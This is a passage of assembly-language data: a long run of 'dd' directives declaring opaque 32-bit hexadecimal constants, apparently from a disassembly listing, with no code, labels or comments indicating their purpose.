		dd 0C7CCB417h, 90906B47h, 56A52A88h, 0D30F007Ch, 0BC6E9A2Bh
		dd 0FA2A3913h, 90B23014h, 4A086ED7h, 12E4158Eh,	1F3ED707h
		dd 4FCBF620h, 0F8EA9692h, 8E53F6D3h, 0E54EE16Dh, 0C0BCA2D8h
		dd 9303B2Eh, 5811E278h
		dd 50606659h, 91A60652h, 0CB7B5016h, 4DDF89Ah, 13F73CE9h
		dd 625C2764h, 55EC17FFh, 505CF329h, 0BBB08h, 0D6099EF6h
		dd 0AAA8951Fh, 0DD43406Dh, 0A088F9A2h, 5A4382D6h, 40713319h
		dd 71416604h, 442CC480h, 872B6FD5h, 0D9A1A8Dh, 7BAD4DE8h
		dd 962E6C7Fh, 9EE14947h, 0C1ED66C0h, 1DAEA434h,	0E094F685h
		dd 2A09AB3Fh, 43B319BAh, 17DCB448h, 6BA49A13h, 7D637FFCh
		dd 0FE7B3B00h, 0E9989D2h, 0AC73351Bh, 9F0F112Eh, 229F7B80h
		dd 0D51C3A5Ch, 0B019DE2Bh, 0AF3FEF2Ch, 5DACDE03h, 4122B0ABh
		dd 58083D6Ch, 0C046713Dh, 0FE592444h, 7DA23941h, 8BD2E5E1h
		dd 9BFA9871h, 5F464A10h, 8AC2880Fh, 91AFE0FDh, 31214C44h
		dd 8F2D489Ah, 0F9AB224Bh, 83E449EFh, 4D35F171h,	0EB9F477Eh
		dd 2A0522DFh, 958AF4FCh, 7093571h, 85C02641h, 67C98B4Fh
		dd 0CA5604F3h, 0D60A6967h, 89AEF4BDh, 7569BCE5h, 59CB89A5h
		dd 0ECF2E49Bh, 20FA43F8h, 7636C7CDh, 0FF97BDBh,	0D0EDFDDCh
		dd 0CA629B98h, 7CDD996Ch, 0AC9971EFh, 5B76AE7Ch, 0ABE60ABEh
		dd 0B41B73A0h, 10CCD828h, 34130023h, 373D11AAh,	88A62FCAh
		dd 33061D40h, 0BA1B0EAh, 0AE8E9BABh, 4F823485h,	363AA6EEh
		dd 6CBC0C5Bh, 0B1936B49h, 52180F76h, 7E29C072h,	7C0B7D14h
		dd 0C1A4C489h, 0F857543Ch, 0ABA45FC6h, 8B22563Dh, 0C5A69861h
		dd 0A63C332Bh, 9C995516h, 0C7565227h, 8F8248CFh, 0E6BC6F3Ah
		dd 0BD930730h, 271BBA7Bh, 2F2FE094h, 8838A098h,	17CB08BCh
		dd 60E9C2A4h, 0B48E926Eh, 6C58A54Fh, 51F7E632h,	0CE0FA177h
		dd 0BBB94A81h, 0B45C22h, 9E8B8CC7h, 57B84084h, 2DA6CF55h
		dd 1EBF2EA9h, 0A9377FA7h, 0CAF7736Ch, 0B820353Ch, 127D4E24h
		dd 0C33E2571h, 0B8853592h, 1F54E40Fh, 59568F11h, 3DF53F55h
		dd 0DE68BFB8h, 0D5FB86A1h, 0D5C9A54Eh, 7F482309h, 9B46B8DFh
		dd 2EFD7723h, 0CB137506h, 5593417Ah, 0E5E6CA10h, 77BFC6D0h
		dd 0A2E73BD6h, 0CE5B1918h, 6AB9A800h, 6E84C535h, 0EA094C67h
		dd 0B27150CEh, 75ECAC29h, 2A750A32h, 0DF543636h, 0C538769Eh
		dd 6EF30898h, 2E4DF54Ch, 22797ED5h, 872D4E54h, 0CF233E9Ah
		dd 924BFCFBh, 504728EDh, 0DB970EE3h, 518C3907h,	1C29B768h
		dd 0E306909Bh, 2060582Fh, 12D64729h, 0C17EF255h, 0CBE1B914h
		dd 3363EA86h, 1EE3AC4Bh, 0E00475A7h, 844004C4h,	0A44BEA0Eh
		dd 3429F0B7h, 2A55FE96h, 2AA1827Ch, 88C406h, 0A627DD72h
		dd 0E494F175h, 4200F881h, 0F72DB856h, 0D660106Eh, 53703511h
		dd 37688185h, 9C654D55h, 0CBEAE492h, 77F89A6Ah,	0EF5C166Eh
		dd 181D0F42h, 907D0730h, 8D0FDA5Fh, 0DC293C80h,	0DFA4C9DEh
		dd 0D9272768h, 0CF403854h, 0B3A8B744h, 0C412A7BAh, 159C3C59h
		dd 985A6AF2h, 0F7C826DDh, 0BC7FD85Fh, 0CD3641E8h, 8386F6D6h
		dd 56FA5638h, 0B6ED65D5h, 8432E2B5h, 3BA606A2h,	5E7FC1F6h
		dd 349B8236h, 6974EFDAh, 6DB6AE2Ch, 0D9554467h,	2A950E56h
		dd 0C7F3DF98h, 0E1D24070h, 5631FDE6h, 85F9507Bh, 0F0147BB9h
		dd 2B574546h, 1525210Ah, 27036B14h, 686C55A3h, 70987A60h
		dd 4B8F4A60h, 0E0F8797Ch, 0D4A45AEBh, 8A44D19Ah, 6978C721h
		dd 3562C385h, 0EAADC417h, 4BF8125Dh, 2DE46B12h,	914F5308h
		dd 14DF2CCDh, 43A361D8h, 1CD521BEh, 67414084h, 5B7A7D9Ah
		dd 0C91B6795h, 90FC9DD7h, 0F42A36EDh, 0FDF7C677h, 0DCEB89BEh
		dd 3B14E170h, 3C9C0388h, 17E8D3B7h, 0E0F4CDECh,	434E1405h
		dd 0DAB5FEAFh, 154FE5B2h, 0E11A26CBh, 0A9E7AD98h, 5E125FF0h
		dd 5C688F58h, 8E0D63EEh, 0B0B335EAh, 772BABEFh,	0B2324D4Dh
		dd 48D1FBA8h, 63A74221h, 1CB3A18Fh, 2D2A4953h, 0ADD6F8C9h
		dd 1A091664h, 868BCF44h, 9989DD6Dh, 0EA9B4C6Eh,	0D3B1961Ah
		dd 201D1CB5h, 0C83DA266h, 0BC5BC570h, 9E749A1Fh, 0E02BD565h
		dd 3A5DB691h, 6757C821h, 21D8DD20h, 0F56FA99Eh,	0C9F7AC00h
		dd 0C7649337h, 6C194C67h, 43E44750h, 2476EB41h,	7D8875CBh
		dd 603C97CEh, 74777EF6h, 32730842h, 150D58E8h, 384333B4h
		dd 3A9C9344h, 40454FB6h, 670A37D7h, 950BA7D2h, 90132310h
		dd 0A20E778Bh, 6FC2FE6h, 6DA0E001h, 54BA9CA4h, 7767817Ch
		dd 52D59B27h, 2240F6C7h, 9BE2907Ch, 5D6F3126h, 0EBBDA784h
		dd 5A7FB2B6h, 2E572BAEh, 8BAF8547h, 0E52DF87Fh,	1A19905Ah
		dd 0E099EC40h, 691DB982h, 90DB50BBh, 0AC47CC57h, 7A0C0D9Eh
		dd 9FD95A55h, 0C6F17946h, 4D7E6A5h, 74A2408Fh, 84A7F0F4h
		dd 0E9A3BC59h, 0E66E6F9Bh, 36A752C2h, 0C32D5933h, 2B3FC045h
		dd 0F93DBDFBh, 0A18027Bh, 547F544Eh, 58A2D319h,	141306Fh
		dd 0E63BFD02h, 521FD6B4h, 0BD86958Ah, 0AA9E8CE6h, 13DD438h
		dd 0C0389099h, 9D7F440Dh, 89A66415h, 7F59DE4Ch,	34545465h
		dd 0C1DC4FA0h, 0F9B006A1h, 86FBCABh, 188AE4B2h,	0F588A523h
		dd 0AA15DE8Bh, 86CD6C66h, 0EFEDEBEDh, 515AC713h, 0E4D48E50h
		dd 0C0673F72h, 0CBCDDE41h, 0BDA7A539h, 0C49D696Fh, 0C05AFAA2h
		dd 72E36D88h, 5DEBDD82h, 9EE864CEh, 0E92E6D64h,	4A9B3A1Bh
		dd 31E9892Ch, 0BCA87C83h, 0BDA6EE4Eh, 66903A83h, 90A76476h
		dd 543FEFA3h, 0E893D8C0h, 0E381D0CBh, 26B47F38h, 6D4EAF77h
		dd 0A193D001h, 5396239Ch, 1A1F8593h, 841AC401h,	916D9BBDh
		dd 71A2EC00h, 66D005F8h, 97CC9F5Bh, 262878E9h, 5D9BFE1Fh
		dd 4A29DACEh, 412CF756h, 7D62C083h, 5308F075h, 70018837h
		dd 40ECF608h, 5AE0788Ah, 9DE940CDh, 0D136567Dh,	0DBF2E9D4h
		dd 61B82692h, 0EEB42E5Fh, 945936BDh, 4400D178h,	0AB0F7A64h
		dd 572AFDA6h, 8767A0FFh, 0F79D5C88h, 71F92519h,	59360206h
		dd 16F34CEDh, 8EB405Fh,	2B288F76h, 0BDF5257Eh, 0C391F63Bh
		dd 0F33A5BF3h, 18A6C4D6h, 16597129h, 996AAC03h,	4DFB657Ch
		dd 4C9D344Bh, 0E5006F24h, 3BBA4CC2h, 0B9742C96h, 2B89090h
		dd 9CA3EAA3h, 0A475C385h, 0DE13A311h, 0E0306776h, 80CADE50h
		dd 0CA605033h, 55A51F5Bh, 1042CF44h, 0E7B331CCh, 6057974Eh
		dd 68153552h, 4857AE0Ah, 0A1FAFEE2h, 78984026h,	8931C06Eh
		dd 0CF1E2DD7h, 64EB1CE9h, 0F510AA76h, 0DC2C7E8Dh, 28D23F64h
		dd 0DF690946h, 0A1CF787Ah, 7B6E7078h, 0B35FB7D2h, 0E4B7AD5h
		dd 88FAE207h, 0C6E3CD1h, 914DFAF2h, 0AF8C5C2Dh,	0C0AF2DD1h
		dd 36E4C654h, 90A17A28h, 783F5D2Ch, 0A513DC12h,	53F45A96h
		dd 0ECCE819Ch, 0DBFA86D3h, 182754E9h, 1565FA25h, 0AA561BE3h
		dd 215341D2h, 0EF77CF23h, 0E87C0D19h, 0C662AA81h, 0DA0FB4F2h
		dd 7D63200Eh, 0E083FE69h, 158D734h, 0A7D9B3D8h,	5D195EC5h
		dd 0CA37BED6h, 0EB34B21h, 330F17EDh, 0B46D912Fh, 0D51AC711h
		dd 3BC4B99h, 27F2AC86h,	91FF01Eh, 0EE3D16A3h, 4E8C618Dh
		dd 0BDCBF425h, 0F2752733h, 2DBBA4CBh, 20047CD8h, 806C5E2h
		dd 0D2E5AA30h, 0DA428C81h, 544CE8D8h, 0FBD3E3CEh, 41106570h
		dd 62F13763h, 0F637B809h, 1213D2CEh, 0A8E42100h, 0AD4FC751h
		dd 54E336A8h, 0E4158C90h, 0F27E90D4h, 655DCA97h, 8CD0F3C8h
		dd 71615766h, 0BCC54736h, 0C0AC8624h, 0B58B18AAh, 0B15BC5BDh
		dd 0FB34379Eh, 45A0905Eh, 0F86ABFF5h, 56E08E14h, 5E9E780Dh
		dd 0A93CA5C6h, 101A0F2h, 6F436510h, 8B430BFEh, 0F7E1E2FAh
		dd 0D9E555ADh, 755219E1h, 1293BE5Fh, 905C5F5Ah,	4BE570E5h
		dd 0B75FC6Fh, 928AB8C5h, 2B6DF75h, 54703F48h, 0E90A5BE9h
		dd 0B51499E7h, 8A70EACh
		dd 0E873FC30h, 0A5D4E238h, 19C88DCDh, 0FA7DCAD3h, 414BD75Ah
		dd 2F3D8060h, 0C193D316h, 0B0CD2FBEh, 22864031h, 0B087609Dh
		dd 0F9D871ACh, 0D4A9374Dh, 24FC9C9Dh, 2184EB2Bh, 0AE96BC22h
		dd 0E1F70859h, 6F101661h, 9D189DD7h, 3B144C47h,	0DA0CA143h
		dd 4473007h, 46EA1CF0h,	91D636E7h, 0F04ADF2Eh, 9B474D3Ch
		dd 5F11E5C5h, 0E4850246h, 9A7D5C69h, 2408A88Bh,	0CDD83671h
		dd 4866E183h, 48016BBEh, 573AD186h, 3ED6F54Bh, 8BD6AF7Eh
		dd 0BCFDA4ADh, 0FDF322D8h, 55137036h, 0B0CEE530h, 0B53EA171h
		dd 85513972h, 5119A39Dh, 0B958E2CBh, 0C35D7D82h, 0DF7D3C49h
		dd 8E3E4387h, 565B5F71h, 2A679C47h, 6569464Ah, 6BE4D3CCh
		dd 0EF4E5A5Ch, 90410706h, 75A9B48Bh, 45FA9743h,	0A1B19E83h
		dd 20C03949h, 95AC578Eh, 7DCA6291h, 2A15C711h, 6C70D31Bh
		dd 62E1AA72h, 5952B7BDh, 0D11D8BC2h, 5FC9D2F0h,	88B253A2h
		dd 566FB15Ah, 0D9051D6Ah, 34E9347Bh, 1721983Bh,	4B1E47CBh
		dd 0DFA1FF57h, 0F2CB5089h, 0C8ABA53h, 32E47157h, 0B801E36Dh
		dd 0E69E60D6h, 3702B5Bh, 0D0E78839h, 6E59C510h,	0D111E336h
		dd 226B2771h, 0BD1CB06h, 0B438A9D5h, 82BE17DDh,	0C19E3074h
		dd 7C564C99h, 3217E7D8h, 356D08Eh, 8E149AB0h, 0C7A37CECh
		dd 6F5A50D1h, 82C2B040h, 6025AA11h, 241F865Dh, 0BAAE5ADDh
		dd 56A8FD30h, 92FA08B8h, 52B61C8h, 0D89A7900h, 0EE5E8D1Ch
		dd 0A1CB874Dh, 23986CFCh, 75953BE8h, 7785050Dh,	0F6CE25AEh
		dd 1BE8FC4Ah, 8A421601h, 2E805594h, 0EE1726D9h,	1D3E83A9h
		dd 856906F3h, 4FF66086h, 879486AEh, 0A8DB8E6Ch,	8452811Ch
		dd 0A0498F0Bh, 0F00A9865h, 4D2B6966h, 0A2AC521Ah, 0EEE1E1ACh
		dd 1883CA6Ch, 36058443h, 0C711D3F0h, 325C5DAh, 0FD7A447Ch
		dd 7D6B6F12h, 0BB53BB03h, 779CCC8Bh, 540638ECh,	9518A98h
		dd 0B9D5DAFFh, 30BA37B6h, 7EE147CFh, 0F234B244h, 9AAE828Ah
		dd 3DDEF4B4h, 763BE5DEh, 70565C9Fh, 0C54606F5h,	29EC9BB5h
		dd 9285C3C3h, 5B7A6CD9h, 74DF9429h, 0C240C0E5h,	873031F6h
		dd 765D895Bh, 0D06AD728h, 5F30D17Eh, 1F0813F7h,	0FBB6BAFFh
		dd 7C2B85h, 947AF248h, 3DE8335Ch, 0ABAB1EB2h, 0E75965F8h
		dd 4C4B37A7h, 420DF508h, 132AF8F4h, 9396327Dh, 284CB9F0h
		dd 0EE53F9B4h, 0BBD27F9Eh, 179079DEh, 3A76F6BBh, 5AC455DBh
		dd 3753FD53h, 4EB17C21h, 0D1358AB4h, 645B3540h,	84C923ABh
		dd 0DEC4C2D1h, 508222B9h, 481FACF3h, 0DD010A9Fh, 0D1551BA3h
		dd 0C28BAA59h, 9A94DDA6h, 90179E7Fh, 1383127Dh,	7E62CB13h
		dd 32AE1011h, 7464EBCh,	1FB65B41h, 0C9CE25F4h, 0DC58B9EBh
		dd 0DDE4A0E7h, 838B4086h, 646101C7h, 0AEE0F5ECh, 178AA3DFh
		dd 3BBB923Dh, 6F9C23D6h, 0A32001DDh, 1B31E3D8h,	0E8FE6FB4h
		dd 8031B3Eh, 3E180869h,	0CB9C4C6Fh, 4D876066h, 0E13A7242h
		dd 8392D826h, 9E7ED40Ch, 11BC4251h, 0AC9E014Ch,	71D632A1h
		dd 598AF9D7h, 0DC998068h, 5316488Ch, 6C47AD4Ch,	6A8FF8Bh
		dd 55D1A12Eh, 6D0E9634h, 54D5CFBBh, 26DF8F6Ch, 643A2650h
		dd 0E1417CB8h, 773DCA89h, 33D62A58h, 0B9F8883Ah, 0DC7C98E6h
		dd 0FAE3F17Ch, 0FC4E0502h, 1B16EDFEh, 60C10DB9h, 5F0963D5h
		dd 375FB330h, 64315CA0h, 0C19B9B9Ch, 29A2C49h, 979A4CB1h
		dd 0C3D9AE8Dh, 5EF067Eh, 0BF43B0CAh, 0D0FB20D4h, 1E2B63EAh
		dd 0DACFD6BAh, 6157F09Ch, 0DC391597h, 32A646Eh,	0AD1144DCh
		dd 74ADBF78h, 7065488Bh, 0EC09CA80h, 21C4687Bh,	7073BB26h
		dd 0F8E30DC0h, 0CDBA04D1h, 0E403FA07h, 209D360Bh, 3FBEAC2Bh
		dd 48E80DC1h, 5B1F3D93h, 9C51A01Ch, 0C2B08682h,	4A347219h
		dd 5EAF9ACh, 452B1099h,	0DD060E98h, 0D1ECA12Bh,	785FD85Ch
		dd 0A85230FAh, 8BB6A700h, 0C3E926E9h, 15ABF5Ch,	8CD78972h
		dd 307E774Eh, 8BD22CA5h, 8451B4DAh, 0AF5D2AE3h,	0D8F8155h
		dd 0E52161A9h, 531589C7h, 4E2D13CFh, 9818094Fh,	0A60369E1h
		dd 2F3B15C6h, 37498F8Fh, 0C7555CECh, 0E54C1E15h, 0B41CFD4Fh
		dd 8A960DB6h, 89641473h, 23C24D31h, 0F222FDAAh,	0AA56F277h
		dd 34EDD888h, 0AF13E8EEh, 1AF2AFEh, 0C1C1DEF5h,	0B13377A5h
		dd 0E123C30Bh, 0A907F2E1h, 0E534F317h, 5120382Dh, 0BFC017C5h
		dd 0D267E5F8h, 0AB08349Fh, 2EFC0411h, 8F6083FEh, 5B10D6FCh
		dd 0C48E9C15h, 2B453C90h, 422721D5h, 4E324113h,	0FEE05193h
		dd 0A0D56064h, 0A34EE70Ah, 86306BFEh, 27060400h, 0B4F266E1h
		dd 61851066h, 2EAD6D33h, 0B239F8DFh, 0D7099CDh,	93B12878h
		dd 9ED3AAB6h, 5BA45577h, 0BA7A52EBh, 0DA452A5Fh, 0E6ACDA94h
		dd 6C4E9D0Eh, 1F9205FAh, 56BB746Dh, 15BF3EEBh, 0AA11A544h
		dd 737D728h, 0CE09440Bh, 97794E71h, 0B6ADD3ECh,	66CA305Fh
		dd 50580F02h, 61DC32D0h, 0CA145B9Dh, 0B9AD661Ah, 29CAB373h
		dd 0C1F47033h, 11059B70h, 8197AF6Dh, 0B56887B0h, 0B89A1C00h
		dd 9372FC6Ch, 557A99D5h, 6A722E21h, 65DAE65Eh, 0FC5E3866h
		dd 98089A66h, 2DFEFAE0h, 2E80BDF8h, 2ECD46A2h, 51FE4483h
		dd 29A30164h, 7DD224B4h, 21A3F2B5h, 34547166h, 40133EFFh
		dd 3C8E6F95h, 46923722h, 760C50CFh, 0F9028CBDh,	0DCC7B391h
		dd 7317EF57h, 0B51F051Ch, 93F6F6Fh, 0B269071Eh,	0C7A13C2Ch
		dd 3956BBCCh, 0F975BEC6h, 0A100B68Ch, 79C52F47h, 0A19CDCE4h
		dd 0DE7F623Dh, 7986D567h, 76D9D84Bh, 38B906AFh,	0E6B4A059h
		dd 0A31FEC8Ch, 3BC3E133h, 78700679h, 1EA17AF2h,	59CB428h
		dd 0E3BC1E5Fh, 0F1F05E3Fh, 0DA28CA33h, 6ED11E9h, 33000E9Bh
		dd 0A7BA775Eh, 132453AAh, 0A4CB1FC0h, 0F8E5E06Eh, 2348E9C1h
		dd 0EF944DD0h, 75D12B62h, 5CA0C790h, 0CE80E8C7h, 0ED590F25h
		dd 0F2662C01h, 75113F73h, 0E5D60D7Dh, 8E92F9EDh, 0C7EE8E0Bh
		dd 0BAE4CE54h, 59C7DEEh, 23F2149h, 82319566h, 0F7941E4Ch
		dd 68EFC847h, 0F8EDA851h, 7EAEFC7Dh, 8D9974B2h,	0B17037D8h
		dd 14A25BA4h, 6DEE8EC0h, 59B1B7DCh, 0AC53EA05h,	54EB403Fh
		dd 0A53CB299h, 417C7812h, 0D6262F69h, 430E8F42h, 0FE4E4059h
		dd 5D157C02h, 948E71FEh, 3A8AC9BCh, 0D39A919Ch,	3AE8EAB7h
		dd 40D53C6Ah, 0B7760F70h, 0E2B14111h, 0F177ABE4h, 65B5584h
		dd 3AA34F80h, 0F7D5016Eh, 374BFD5Fh, 0EA14B71Eh, 1404ED9Bh
		dd 0A82FFF3h, 0E3FBEA9Ah, 29571A37h, 11D76Fh, 3EEBEEC1h
		dd 0CABC6FFAh, 65433AE8h, 0CBECC17h, 46F888F9h,	0AA4E32EBh
		dd 947B05EDh, 0EE4D2826h, 3120B507h, 0A1A23D1h,	3CB78DF0h
		dd 286C71FDh, 0FB122770h, 9485C0EBh, 1ACEF264h,	2D4B1B6Dh
		dd 0D5066667h, 59D0398h, 1A15B424h, 2DF8466Fh, 3B99406Bh
		dd 67A91536h, 0A7E72E58h, 91D406B2h, 0F02AAC22h, 0B4A83CCCh
		dd 4F86E0D5h, 438CBC58h, 0F0BC4EEAh, 847CF9B5h,	78ED4EFFh
		dd 0D05D7AF4h, 8C44222Ch, 4EB479CBh, 81666698h,	0EF3171F1h
		dd 5144F64Dh, 582DABE6h, 76C98259h, 65FC93B9h, 0EAC0B14Ch
		dd 90C1129Bh, 4CF4CDE6h, 672C6639h, 9DB0E878h, 5167EF69h
		dd 73FECCF2h, 0FB586299h, 73748539h, 0B2CA2CEh,	7CD7859Ah
		dd 0C2DE025Fh, 0E5F6C552h, 88C2F328h, 11C2A81Ch, 5D231B49h
		dd 2A0EDD01h, 458455DEh, 58D883E3h, 6EF40011h, 571D20AAh
		dd 0DD2A68F0h, 0B5C15079h, 0C351921h, 28571701h, 0F8C31B27h
		dd 3F885ABFh, 0E8406D54h, 8BCB3BC5h, 77E3362Eh,	0D87BD5Fh
		dd 1D6806D3h, 0BD670748h
		dd 0BF52EDD9h, 769CFDDEh, 0BC0F68CDh, 900EA008h, 5D33D6CDh
		dd 0A8D9A779h, 0A86E66C0h, 1DD9BBCBh, 0E49CF09h, 3D65BBD4h
		dd 0B59D8BFEh, 5AE047ACh, 3B173AABh, 6EB012D0h,	54A87106h
		dd 0DF7F1CC1h, 1ED44249h, 8CE7F24Eh, 68480548h,	6995D87Dh
		dd 0C9A6E2FDh, 0B63B56C4h, 6427359Fh, 34D4CE50h, 0B91C1749h
		dd 3506D9F1h, 0E139D174h, 52BE865Ah, 60513840h,	0B3C107C0h
		dd 5BA45FACh, 0E8A50524h, 0E6F8D77Ch, 3A38DD33h, 99C7FB61h
		dd 0DAD4CE70h, 19CE5E3h, 0BFDA2A4Fh, 0DC3D26D1h, 0AF1F901Fh
		dd 0C0E56400h, 0D3689691h, 3DEF8DE4h, 0A1613E80h, 0E448FB20h
		dd 0CA76A164h, 8D26DC12h, 0BF11E32Bh, 4D0D97C9h, 0FACD934Bh
		dd 0F066C711h, 245DC639h, 4F890EA5h, 0A0B43186h, 6C92920Ah
		dd 0F6602F5Eh, 60A4B6BEh, 4EB978F7h, 0B0B024E5h, 31D7FB40h
		dd 0BD1B9CE7h, 0A42B9841h, 3A7F58BBh, 0D45897A8h, 5F7ADBC3h
		dd 0BA10265Eh, 0E16C5607h, 793FAD3Dh, 0DB2FB746h, 4B427E1Eh
		dd 3FA231E6h, 969919A2h, 0CF9E78A4h, 333D5FFCh,	0FCF0A6EBh
		dd 0EA5A5512h, 0A955054h, 7FFF4C3Ah, 0EAE4E4A6h, 0F231CC7h
		dd 72918C75h, 104BBA06h, 9F7FF3A7h, 0BDB045A2h,	3F825C7Ah
		dd 0E4573E7Ah, 0F4DC9D83h, 7E23BCC7h, 62833B5Fh, 17FB500Ah
		dd 8DE4FCD7h, 5D833ECCh, 0B73C67EEh, 0EEF27CBFh, 765BC19Ah
		dd 0DF749820h, 0EB9168F4h, 0D6260A97h, 23A3C12h, 0D9419076h
		dd 8E1E0180h, 0E2388C80h, 0EBFE9808h, 0D7B355h,	2F9D3147h
		dd 84334342h, 0E213CAC4h, 7798BEAh, 56908022h, 25169F61h
		dd 298762CEh, 56E95E00h, 0F014B262h, 0B54BBBA5h, 727610FDh
		dd 7F043AF5h, 0A50A92E9h, 2119F7B9h, 1FA88797h,	5F3228D4h
		dd 973D38A7h, 0E634E3A7h, 0EF8BC9F5h, 9CF67DCAh, 604511F8h
		dd 0AB8C87F1h, 856612A9h, 0F43C0332h, 3E3A925Ah, 62E244E4h
		dd 8C03B4C9h, 0D48580DCh, 25A82E85h, 5A30EE54h,	2F3787A1h
		dd 564D6458h, 794ED057h, 14DCFABFh, 4266378Ah, 7C18112Ch
		dd 5C317D44h, 97D1E9DBh, 55DC77FCh, 9BBA317Ch, 0E3539233h
		dd 0A850D189h, 0EACA4BCAh, 4CEF8681h, 0B1910BAh, 0C552BEA2h
		dd 4E85C92Bh, 47A114FEh, 4B278EACh, 5134874Eh, 7EA4D941h
		dd 18372EE6h, 24E30E03h, 0F80E118Fh, 0A0B32F9Eh, 0C263BC95h
		dd 0DA76654Ah, 424927DFh, 56825F0h, 429962ADh, 0EA3D4F7h
		dd 1BFB6BFBh, 0E3F6CC18h, 3C8758C4h, 0B5F5F1B1h, 305CB8B5h
		dd 11DB2160h, 1E2BDE17h, 9404C06h, 0A6E2E553h, 801D1B2Fh
		dd 159102A8h, 8731DD8Eh, 6B4EB34Fh, 4EC2F93Fh, 65A4D381h
		dd 60767E0h, 0F24BE4B6h, 0D00F9908h, 0C68E6B8Fh, 2F43850Fh
		dd 2621C5C1h, 56D9F672h, 97AD762h, 404EF54Bh, 726E47D1h
		dd 0A6BCA756h, 0DE7D2BC7h, 28CE1B49h, 15C7621Ah, 9F150898h
		dd 0F9ED9601h, 1C1A7F57h, 0ECCB52E6h, 20334D10h, 3F06BCD7h
		dd 0EBAE8FBFh, 1D2810B0h, 79111EAh, 5543B7BFh, 0A60A3116h
		dd 0B1505610h, 1C372683h, 0F5E87F37h, 0A4FD8B6Bh, 8E646C24h
		dd 0DDD3BFA8h, 777513D2h, 0E949BC1Dh, 0AE3B5E78h, 0BFE146C0h
		dd 0B09B6140h, 0D50C2A49h, 0FD2ACBEBh, 1060B413h, 0BCB9DFF6h
		dd 0E1C4E686h, 1A9FCA47h, 91A7844h, 53DCAB7Fh, 5CD11572h
		dd 0B4360B91h, 0A4E36F18h, 0C05DD2A8h, 0C667ABAFh, 0B64AECE6h
		dd 53894883h, 35E6C3FEh, 0A1303508h, 0DC236504h, 43310913h
		dd 2351994Eh, 293DF3B8h, 6C8BC699h, 0A7787E72h,	5F1D2E87h
		dd 0AA332F3Fh, 6938B358h, 20AD76DCh, 915B6619h,	0DE0C9752h
		dd 9752C37Eh, 0C099E1AEh, 0D8A922BCh, 0C9B3EFE5h, 87A9940Bh
		dd 0B583ECh, 0B78E2E5Bh, 50FB18F8h, 31F7F977h, 0E0E9D6C9h
		dd 8794A62Ch, 1C7C399Dh, 5C0C48F8h, 0F262EBD0h,	0EC1EF362h
		dd 5DCCCB21h, 0D5B588CEh, 0F6C1C151h, 9887197Fh, 0ED00E5C1h
		dd 54C4E7DBh, 1E39D533h, 3769030Ah, 60458556h, 0D27EB89Ah
		dd 2A88D6F8h, 0E9827918h, 7E2764CEh, 8AC740BAh,	5DED7FFAh
		dd 46BE2582h, 9F524060h, 7C0C1909h, 0CCA5D122h,	0E03AA91Eh
		dd 4FE64798h, 0A5687E68h, 6B6936ABh, 2F70310h, 0AEF9C40Eh
		dd 75CE6407h, 0BCD1E735h, 0CF28CA9Ch, 46D863DFh, 22AF3056h
		dd 0CCD36D5Eh, 0FFB03561h, 0D00859CFh, 9BB7270Ah, 43128141h
		dd 0EF80DE6Fh, 1884B8B0h, 0EF855DEAh, 0EEB8A73Dh, 5EAC0CFDh
		dd 0EBE230EAh, 36B4A926h, 349E369Dh, 0E8D874E2h, 78C386Eh
		dd 104356FAh, 39050149h, 0F8132C1Dh, 771FBA09h,	76B9D0D0h
		dd 77849B71h, 562799E2h, 43FB024h, 8DD4AE59h, 0FE125FE0h
		dd 98688C25h, 2478F683h, 8D42CEB4h, 9F7779E3h, 4AF4E054h
		dd 8B8CC6DAh, 0C24B9ED4h, 0BEAF90DAh, 0C2CB415Eh, 9C70A525h
		dd 34CE1C04h, 0A5CE84CBh, 9F2D1B73h, 0B50C65AEh, 0CF040392h
		dd 0BD89351h, 6CD7913Fh, 0A8030C17h, 0F3AD3F89h, 0D391241h
		dd 2A42E4FAh, 0F4612685h, 0C5519187h, 297CDA6Bh, 72B40A01h
		dd 0B3B078A5h, 0F177AE3Fh, 3E539B00h, 70E0F42Ch, 7BE11231h
		dd 58E66C0Bh, 206DB49h,	0BFE2167Ah, 936B0D59h, 0BD692F88h
		dd 95BAC1F6h, 4C061604h, 0B99D1CB4h, 0E99AE235h, 87AACAECh
		dd 22392255h, 42A40A60h, 0D33D6083h, 0EA45D80Bh, 0F4BF38A4h
		dd 6E24A509h, 8C23AE5h,	3C8BF09Eh, 0C58CB82Fh, 4FC79898h
		dd 5E867C27h, 5F698798h, 0EFE07A99h, 0E7091490h, 0BC74347Ah
		dd 0C33BB662h, 144CFA56h, 0F43E3D25h, 80160D80h, 0C7EB1CE1h
		dd 54C4CE91h, 0E0A67379h, 9BFB1ECCh, 7628069h, 0B9DB7A02h
		dd 3ADDA9ABh, 0AB6E71A8h, 0CCE33E46h, 0D7A0414Ah, 0ABD35D0Fh
		dd 558FEEC3h, 9A0A4B6Fh, 0E6701BAh, 0C19778C9h,	0E7897334h
		dd 0A9640C21h, 0A0CBB37Bh, 188CE648h, 0F2E4AC19h, 0E0EE61A2h
		dd 0BA011BADh, 75F5BB7Bh, 35840CDAh, 0DC8DC1A2h, 0B42F2EFEh
		dd 4535C83h, 3EA6E980h,	0FBB57EADh, 80DF7EBCh, 0AC6BEBF2h
		dd 2C78A6D7h, 0F9363DAh, 94CE2E24h, 0F48F380Ah,	3DADBFFCh
		dd 0A79EF0D2h, 0F542A0E8h, 2A8B4CCh, 0C3EA1046h, 0A09B99AFh
		dd 0AA5EA8AFh, 4E969833h, 3A58E7AEh, 0CE582194h, 9CE4B723h
		dd 0FE9AEB4Dh, 0D69450Bh, 0CF19E3BBh, 7796B24Ch, 754216F2h
		dd 57FAF9DEh, 8B3308DBh, 49B1B30Eh, 7286835Fh, 0F873736Fh
		dd 0E3639AA5h, 89DE2D18h, 0B0F3C811h, 0C8252387h, 0D7AAD3D2h
		dd 8F61B46Fh, 0B5F8D02Dh, 89C8E0Ch, 0AEA80A8Eh,	0D6D51FCDh
		dd 33ADF20Bh, 1D6250B3h, 0F6071542h, 7B3809F4h,	0EC60F00h
		dd 0B83C2EC5h, 9076733h, 72313473h, 7708CF30h, 0EF67FBB2h
		dd 46A1004Fh, 0AD7FFFD6h, 99579B90h, 5F23D7C5h,	0A8D3751Fh
		dd 2E4E7C62h, 0D3D613C8h, 0FA5B79F2h, 335ADAE2h, 56329BA2h
		dd 0E10C54B1h, 9D560A91h, 17621133h, 0BBEB0D1Fh, 45FBB861h
		dd 135C04E4h, 892FBE54h, 0FDB209C6h, 5C58C4F7h,	517CF14Ch
		dd 394195C8h, 0FEAC6621h, 0EF9BC6E4h, 85FBE5F6h, 0A315FC8Fh
		dd 69089969h, 0D26B222Bh, 2B625B96h, 0E263E6EFh, 0EFE120E3h
